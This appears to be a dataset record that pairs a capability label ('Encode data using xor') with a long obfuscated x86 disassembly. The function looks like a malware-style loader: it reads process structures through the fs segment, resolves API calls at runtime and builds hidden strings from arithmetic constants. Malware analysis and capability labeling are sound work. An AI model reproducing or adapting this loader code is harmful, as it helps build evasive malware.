Function at 0x466908
Capabilities:
Encode data using xor

Disassembly:
add esp, 0xfffffffc
mov eax, esp
mov edx, eax
mov ecx, 0
xor ecx, edx
mov dword [ecx], ebx
mov edx, 0x26dd6025
shr edx, 2
add edx, 0xf648a7f7
xor edx, edi
mov ecx, 0x4d573df7
shr ecx, 3
mov eax, 0xf6551842
xor eax, ecx
lea esp, [esp + eax]
mov dword [esp], edx
sub esp, 4
mov edx, esp
mov dword [edx], esi
mov ebx, dword [esp]
add esp, 4
mov ecx, 4
sub esp, ecx
mov edi, 0
xor edi, esp
mov dword [edi], ebx
sub esi, esi
mov ebx, 0x4326d8ce
add esi, ebx
shr esi, 2
push 0x61d73f75
mov edi, 0x2d6ce9a3
shr edi, 7
pop ebx
xor edi, ebx
xor esi, edi
mov eax, esi
xor eax, 0xffffffff
and eax, 0x7144508d
and esi, 0x8ebbaf72
or esi, eax
mov edx, dword fs:[esi]
xor ecx, ecx
add ecx, 0x1862690c
shr ecx, 6
mov edi, ecx
xor edi, 0xffffffff
and edi, 0x618994
and ecx, 0xff9e766b
or ecx, edi
lea edx, [edx + ecx]
sub ebx, ebx
add ebx, dword [edx]
lea ebx, [ebx + 0xc]
lea esi, [ebx]
mov ecx, esi
mov esi, 0x141791b5
shr esi, 4
jmp 0x466f32
add ebx, 0
xor edx, edx
add edx, 0
xor ebx, edx
xor ebx, dword [esp + 0x20]
mov edi, 0
xor edi, esp
xchg esi, edi
lea edx, [esi]
mov ecx, edx
push ecx
call ebx
xor ebx, ebx
add ebx, 0x291e3c07
shr ebx, 1
mov esi, ebx
xor esi, 0xffffffff
and esi, 0x148f1e0f
and ebx, 0xeb70e1f0
or ebx, esi
lea esp, [esp + ebx]
mov esi, esp
sub esp, 4
mov dword [esp], esi
mov ecx, dword [esp]
sub esp, 0xfffffffc
lea edx, [ecx]
mov edi, edx
push edi
mov edi, 4
sub esp, edi
mov ecx, esp
mov dword [ecx], eax
mov ebx, 0x3824fd9
mov edi, ebx
shr edi, 1
xor esi, esi
or esi, 0x1c127ec
xor esi, edi
xor esi, dword [esp + 0x20]
call esi
mov ebx, 0x2aeed6a
add ebx, 0xffffffeb
push ebx
xor esi, esi
jmp 0x4754df
cmp esi, 0
jne 0x466d5f
xor edi, edi
add edi, 0x53f7dae8
xor eax, eax
add eax, 0xac082514
xor edi, eax
sub ebx, edi
mov esi, ebx
mov edx, esi
mov esi, 0xffffffff
add edx, esi
mov ecx, dword [edx + 1]
push 0x1955702
mov eax, 0x32aae056
shr eax, 5
pop edi
xor eax, edi
xor eax, ecx
lea ebx, [eax]
xchg edi, ebx
mov esi, 0x2e5c3b55
shr esi, 1
add esi, 0xe8d1e25a
sub esp, esi
mov dword [esp], edi
xor ebx, ebx
sub ebx, 0
xor ecx, ecx
add ecx, 0
xor ebx, ecx
xor ebx, dword [eax]
and ebx, 0xff
mov edx, 0x49
xor ecx, ecx
sub ecx, 0xffffffde
xor edx, ecx
xor ebx, edx
sub eax, eax
add eax, 0
sub ecx, ecx
mov edx, 0
add ecx, edx
xor eax, ecx
cmp eax, ebx
je 0x4753bf
jmp 0x4753b3
sub edi, eax
mov esi, dword [edi + 0x33]
lea ecx, [ecx + esi]
xor ebx, ebx
lea ebx, [ebx + ecx]
lea esi, [ebx]
mov edi, esi
add esp, 0xfffffffc
mov dword [esp], edi
mov eax, 0x736558b8
lea edi, [eax]
shr edi, 1
xor esi, esi
add esi, 0x36daee1d
add esi, 0x2d7be3b
xor esi, edi
lea esi, [esi + edx]
push esi
pop edi
xchg edi, ecx
mov edi, 0xf61e30a
shr edi, 3
mov ebx, 0xfe13c39e
xor ebx, edi
lea ecx, [ecx + ebx]
mov esi, dword [ecx + 1]
mov ebx, 0x5360e1c4
shr ebx, 5
mov ecx, 0x29b070e
xor ecx, ebx
xor ecx, dword [esp + 4]
lea edi, [ecx]
lea esi, [esi + edi]
mov ebx, esi
xchg eax, ebx
xchg edi, eax
add esp, 0xfffffffc
mov eax, 0
xor eax, esp
mov dword [eax], edi
push edx
pop edi
mov eax, edi
xchg esi, eax
mov ebx, 0x21f3d57d
shr ebx, 7
add ebx, 0xffbc1857
sub esi, ebx
jmp 0x475320
mov ecx, 0x4f986c1c
shr ecx, 7
xor ecx, 0x9f30dc
add esp, ecx
xor ecx, ecx
add ecx, dword [esp]
mov edi, 0x1564b61d
shr edi, 7
add edi, 0xffd53690
sub esp, edi
lea ecx, [ecx + 0xe0dd]
mov esi, 4
sub esp, esi
mov esi, 0
xor esi, esp
xchg esi, eax
mov dword [eax], edx
push 0xffd5c4d4
mov esi, 0x151d9444
shr esi, 7
pop edi
xor esi, edi
add esp, esi
mov esi, esp
push esi
mov eax, dword [esp]
sub esp, 0xfffffffc
mov dword [eax], ebx
mov eax, 0x15f912b7
shr eax, 3
mov edi, 0x2bf2256
xor edi, eax
xor edi, ecx
push edi
pop esi
mov eax, esi
push eax
xor edx, edx
mov dl, byte [ecx]
lea ebx, [ebx + edx]
mov dl, byte [ebx]
pop ecx
pop ebx
mov byte [ecx], dl
jmp 0x466d64
add ebx, 0x1a
dec ebx
mov esi, dword [ebx - 0x19]
mov ebx, 4
add esp, ebx
lea esi, [esi + ecx]
mov eax, esi
push eax
mov edi, dword [esp]
add esp, 4
sub edi, 0x3e
mov esi, dword [edi + 0x3e]
pop edi
lea esi, [esi + edi]
push 0x1eeda61
mov ecx, 0x7bb69960
shr ecx, 6
pop edx
xor ecx, edx
sub esp, ecx
sub eax, eax
add eax, esp
mov dword [eax], esi
mov ebx, 0x71616c05
add ebx, 0xfffffffb
push ebx
mov eax, 0x417971bc
add eax, 0xa5
push eax
mov eax, 0x726269ad
add eax, 0xffffff9f
push eax
mov ecx, 0x64616f83
add ecx, 0xffffffc9
push ecx
mov edx, esp
add esp, 0xfffffffc
mov dword [esp], edx
mov eax, dword [esp]
add esp, 4
add esp, 0xfffffffc
mov ebx, 0
xor ebx, esp
mov dword [ebx], eax
push edi
pop ebx
lea eax, [ebx]
mov ecx, eax
jmp 0x4751dc
xor ecx, ebx
test ecx, eax
jne 0x466d5e
pop ebx
mov esi, 0xf9be36c2
sub esi, 0x79
push esi
mov esi, 0x320e4d9c
mov edx, esi
shr edx, 3
mov ecx, dword [esp]
add esp, 4
xor edx, ecx
sub ebx, edx
lea edi, [ebx]
xchg edx, edi
mov eax, 0x365c79c0
shr eax, 2
add eax, 0xf268e18f
add edx, eax
mov ecx, dword [edx + 1]
mov edx, 0x224b0467
mov eax, 0x10800a08
mov esi, eax
xor edx, esi
xor ecx, edx
push 0x329f61d5
mov esi, 0x3337c492
shr esi, 7
pop eax
xor esi, eax
xor ecx, esi
xor edx, edx
lea edx, [edx + 0x57b5ab59]
shr edx, 1
mov ebx, 0x482728e8
shr ebx, 3
xor ebx, 0x6f5c8264
xor edx, ebx
mov edi, 0x4d82b2d5
xor edx, edi
add edx, ecx
je 0x466ec4
jmp 0x466d5f
pop eax
jmp 0x466e95
mov edi, 0xe00b4f33
add edi, 0x96
push edi
mov edi, 0x3fe9606c
mov eax, edi
shr eax, 1
mov esi, dword [esp]
sub esp, 0xfffffffc
xor eax, esi
lea ecx, [ecx + eax]
pop edx
mov edi, 0x515eddfe
shr edi, 6
mov esi, 0x1457b76
xor esi, edi
sub edx, esi
xor edi, edi
or edi, 0x4e3aafe
shr edi, 4
xor eax, eax
add eax, 0x4e3aaf
xor eax, edi
cmp eax, edx
jne 0x466bcd
mov esi, 0
mov ebx, esi
xor edx, edx
add edx, 1
xor ebx, edx
lea ecx, [ecx + ebx]
mov ebx, ecx
xor edx, edx
add edx, ebx
mov esi, edx
push esi
xor eax, eax
add eax, dword [esp]
push 0x1532b2d
mov ecx, 0x54caca5a
shr ecx, 6
pop edx
xor ecx, edx
add esp, ecx
call eax
mov edx, 0x52e2d7ab
jmp 0x466df9
add edx, 0x14
push edx
xor eax, eax
mov edx, 0xccceffa2
sub eax, edx
shr eax, 4
pop ecx
xor eax, ecx
xor edx, edx
add edx, dword [esp]
mov esi, 0
xor esi, edx
sub esp, 0xfffffffc
xor ecx, ecx
mov edx, 0x3848d66d
add ecx, edx
shr ecx, 4
lea ecx, [ecx + 0x211999a8]
pop edi
mov ecx, 0x9b0d900
shr ecx, 3
lea eax, [ecx]
mov edx, 0xce9defee
xor eax, edx
xor eax, 0x31621011
and eax, 0x691edd8d
and ecx, 0x96e12272
or ecx, eax
xor edx, edx
add edx, esp
sub edx, 1
mov ebx, dword [edx + 1]
mov edx, 0x3bc8fe4f
shr edx, 4
xor edx, 0x3bc8fe0
add esp, edx
ret
sub eax, eax
add eax, dword [esp]
sub esp, 0xfffffffc
mov edx, eax
mov esi, 0x1f28d63a
shr esi, 3
add esi, 0xfc1ae53a
sub edx, esi
mov edi, dword [edx + 1]
sub esp, 4
mov eax, esp
push eax
pop esi
mov dword [esi], edi
jmp 0x466f64
mov ecx, 0
xor ecx, esp
mov edx, 0xffffffff
add ecx, edx
mov esi, dword [ecx + 1]
mov ebx, 0x4ffcab60
shr ebx, 4
add ebx, 0xfb003546
sub esp, ebx
xor edi, edi
add edi, esi
xchg ecx, edi
mov ebx, 0xffffffe6
add ecx, ebx
add ecx, 0xffffffbc
mov edi, 1
mov eax, 0
xor edi, eax
sub ecx, edi
mov edx, dword [ecx + 0x5f]
push 0x3458451
mov esi, 0x68b08a3d
shr esi, 5
pop edi
xor esi, edi
xor esi, edx
mov edi, 0x44
add esi, edi
sub esi, 0xffffffea
mov ecx, 1
sub esi, ecx
jmp 0x475627
add esi, 0xfebe8713
sub ecx, esi
mov edx, dword [ecx + 0x2e]
mov esi, 4
mov eax, 8
xor esi, eax
lea edx, [edx + esi]
xor esi, esi
lea esi, [esi + edx]
mov ebx, 0
mov ecx, 4
xor ebx, ecx
sub esp, ebx
mov dword [esp], esi
pop ebx
push 0xfee72578
mov eax, 0x4636a109
shr eax, 6
pop esi
xor eax, esi
add esp, eax
sub edi, edi
add edi, esp
mov dword [edi], ebx
xor edi, edi
lea edi, [edi + ebx]
add edi, 8
add edi, 3
mov eax, dword [edi - 0xb]
mov edx, 0xcbc74bd
add edx, 0x5d
push edx
mov ecx, 0x65e3a8d0
mov ebx, ecx
shr ebx, 3
pop esi
xor ebx, esi
xor ebx, dword [eax]
xor ecx, ecx
add ecx, 0x406cc963
shr ecx, 4
sub ecx, 0x406ccc2
sub ebx, ecx
sub esi, esi
add esi, dword [ebx]
and esi, 0xffff
xor esi, 0x18
jmp 0x466a67
xchg ecx, ebx
mov edx, 4
sub esp, edx
mov dword [esp], ebx
call esi
xor esi, esi
sub esi, 0xfd474608
shr esi, 6
lea esi, [esi - 0xae2d7]
lea esp, [esp + esi]
mov ecx, eax
add esp, 0xfffffffc
mov dword [esp], ecx
call fcn.00466fe3
mov edi, 0xffffffea
sub ebx, edi
mov edi, 0x50421955
shr edi, 2
add edi, 0xebef79a7
add esp, edi
mov edi, esp
push edi
pop esi
mov dword [esi], ebx
mov ebx, 0xaaafe94f
add ebx, 0xb1
push ebx
mov ebx, 0x636f6cad
sub ebx, 0x41
push ebx
mov ecx, 0x416c625f
sub ecx, 0xea
push ecx
mov esi, 0x747268ec
add esi, 0x6a
push esi
mov ebx, 0xf3ec3309
sub ebx, 9
push ebx
mov ebx, 0x32336c74
add ebx, 0xfffffff1
push ebx
mov ebx, 0x6e72656e
sub ebx, 0x23
push ebx
xor ebx, ebx
jmp 0x4669d2
xor eax, eax
sub eax, 0xfdbcb6a7
shr eax, 5
pop ecx
xor eax, ecx
sub edi, eax
mov eax, 0xe03f
add eax, 0x9f
push eax
mov cl, byte [edi]
mov byte [ebx], cl
xor eax, eax
sub eax, 0xd993f560
shr eax, 5
lea eax, [eax - 0x1336056]
sub edi, eax
mov esi, 0x77b2643a
mov edx, esi
shr edx, 5
mov ecx, 0xfc426cde
add edx, ecx
sub ebx, edx
pop eax
push 0x1bfc3a5
mov ecx, 0x6ff0e935
shr ecx, 6
pop edx
xor ecx, edx
sub eax, ecx
lea edx, [eax]
mov ecx, edx
sub esp, 4
mov esi, esp
mov dword [esi], ecx
or eax, 0
jne 0x4752a9
pop edx
xor edx, edx
or edx, 0x757e806
shr edx, 7
mov eax, 0xc030e
mov esi, 0x24c00
xor eax, esi
xor edx, eax
xor ebx, ebx
add ebx, dword [esp]
jmp 0x466ba2
mov edx, dword [esi + 1]
push 0x1fa4a37
mov eax, 0x7e928dec
shr eax, 6
pop edi
xor eax, edi
xor eax, dword [esp + 8]
mov edi, 0
xor edi, eax
xchg esi, edi
lea edx, [edx + esi]
xor esi, esi
lea esi, [esi + edx]
mov edi, 5
mov eax, 0x42
xor edi, eax
lea esi, [esi + edi]
mov ebx, dword [esi - 0x47]
mov eax, dword [esp + 8]
mov ecx, eax
mov eax, ecx
mov edi, eax
lea esi, [edi]
lea ebx, [ebx + esi]
sub ebx, 0xfffffffc
add ebx, 1
lea ecx, [ebx]
xor esi, esi
add esi, 0x267b1b5d
shr esi, 1
xor ebx, ebx
or ebx, 0x133d8dae
xor ebx, esi
xor ebx, dword [ecx]
xor ecx, ecx
or ecx, 0x6675a1d5
shr ecx, 6
xor esi, esi
or esi, 0x6c689fc0
xor esi, ecx
xor ebx, esi
mov ecx, 0x1fb9d002
shr ecx, 1
xor ecx, 0x66cc229
xor ebx, ecx
jmp 0x47557e
xor ebx, 0x20
or ebx, 0
jne 0x466d5e
pop ecx
xor esi, esi
or esi, 6
xor edi, edi
add edi, 0
xor esi, edi
add ecx, esi
xor edi, edi
lea edi, [edi + ecx]
mov eax, 0x4efa74bd
shr eax, 4
xor eax, 0xfb1058b7
lea esp, [esp + eax]
mov dword [esp], edi
sub ebx, ebx
add ebx, ecx
lea ebx, [ebx - 0x49]
mov edx, 1
mov esi, 0
xor edx, esi
sub ebx, edx
mov eax, dword [ebx + 0x4a]
and eax, 0xff
xor al, 0x4e
xor edx, edx
add edx, 0x396e1328
mov ecx, edx
shr ecx, 4
sub ebx, ebx
mov esi, 0xfc691ece
sub ebx, esi
xor ebx, ecx
cmp eax, ebx
je 0x466cd4
xor al, 0x20
xor ebx, ebx
mov esi, 0x2996e267
add ebx, esi
shr ebx, 6
xor edx, edx
add edx, 0xff59a476
lea ecx, [edx]
jmp 0x466cca
add esi, 8
xor ecx, esi
lea edx, [edx + ecx]
push edx
pop ebx
xchg ebx, esi
add esi, 0xffffffd4
mov edx, dword [esi + 0x2c]
push esp
pop ebx
add ebx, 0x54
mov eax, dword [ebx - 0x54]
mov edi, eax
add esp, 0xfffffffc
mov dword [esp], edi
pop esi
add edx, esi
mov eax, 0x96b6f43
shr eax, 3
mov esi, 0xfed29208
xor eax, esi
sub edx, eax
xor esi, esi
sub esi, 0x84402ac5
mov edi, esi
xchg edi, ecx
shr ecx, 6
mov edi, 0x4a000028
mov esi, 0xb4110080
xor edi, esi
xor ecx, edi
lea ecx, [ecx + edx]
mov eax, ecx
push eax
pop ebx
mov edi, 0x41
sub ebx, edi
mov ecx, dword [ebx + 0x41]
mov eax, 0
xor eax, esp
mov edi, eax
sub edi, 0x32
push 0x440785
mov eax, 0x2203c279
shr eax, 7
pop ebx
xor eax, ebx
jmp 0x466b0a
or esi, 0x55dda8b1
shr esi, 5
pop ecx
xor esi, ecx
lea esp, [esp + esi]
mov edi, 0xfffffff5
add edi, 0x4b
push edi
mov edi, 0xfcc
add edi, 0x34
push edi
mov ebx, 0xe0c5
add ebx, 0x23
push ebx
mov ecx, 0x78
add ecx, 0xffffff88
push ecx
call eax
pop edi
xor edx, edx
add edx, eax
mov esi, edx
mov ecx, esi
mov edx, ecx
push edx
pop ebx
mov edx, 0x32cea069
shr edx, 6
xor edx, 0xcb3a81
xor edx, ebx
mov eax, 0x2e0465e5
shr eax, 1
xor eax, 0xe8fdcd0e
add esp, eax
mov dword [esp], edx
lea edx, [edi]
mov ecx, 0x214bd292
shr ecx, 6
mov esi, 0x852f4e
xor esi, ecx
sub esp, esi
mov dword [esp], edx
mov edx, 0xffede478
add edx, 0xd2
push edx
jmp 0x47528c
test ebx, ebx
je 0x4755e8
mov esi, 0xfffffffd
sub edx, esi
mov ecx, 0xffffffff
sub edx, ecx
mov esi, 0x7643c2bc
shr esi, 4
add esi, 0xf89bc3d5
xor esi, dword [esp]
mov eax, 0x6a91d9c9
shr eax, 6
add eax, 0xfe55b89d
lea esp, [esp + eax]
xor edi, edi
add edi, 0
xor eax, eax
or eax, 2
xor edi, eax
lea esi, [esi + edi]
mov eax, 0x29b9e7a3
shr eax, 1
add eax, 0xeb230c2b
lea esp, [esp + eax]
mov edi, esp
mov dword [edi], esi
jmp 0x475343
pop ecx
mov edx, 0x30aaf680
shr edx, 5
xor edx, 0x18557b4
xor edx, ecx
mov esi, 0x6bcd07d7
shr esi, 5
add esi, 0xfca1981b
add edx, esi
lea edx, [edx - 1]
mov ecx, dword [edx - 0x58]
and ecx, 0xffff
lea ecx, [ecx + ecx]
xor edx, edx
lea edx, [edx + ecx]
add ecx, edx
push esp
pop ebx
jmp 0x466c29
mov ebx, dword [esi - 0x59]
xor eax, eax
sub eax, 0xde045c95
shr eax, 6
add eax, 0xfffa8c22
add eax, 0xff7d8539
sub ebx, eax
sub ecx, ecx
lea ecx, [ecx + ebx]
mov esi, 0x42
mov edx, 0
xor esi, edx
sub ecx, esi
mov edx, 1
sub ecx, edx
mov edi, dword [ecx + 0x43]
xor ebx, ebx
add ebx, edi
mov ecx, 0xfffffffc
add esp, ecx
mov ecx, esp
xchg ecx, eax
mov dword [eax], ebx
sub ecx, ecx
add ecx, edi
mov eax, 0x3acbeb1c
shr eax, 1
xor eax, 0x1d65f5b2
lea ecx, [ecx + eax]
mov esi, ecx
push esi
mov edi, dword [esp]
sub esp, 0xfffffffc
mov eax, 0xffffffd7
sub edi, eax
mov edx, dword [edi - 0x29]
mov eax, 0x1cf13520
mov esi, eax
shr esi, 2
mov edi, 0xf8c3b2b8
add esi, edi
xor esi, dword [esp]
add edx, esi
xor ecx, ecx
or ecx, 0x70
xor esi, esi
jmp 0x47544b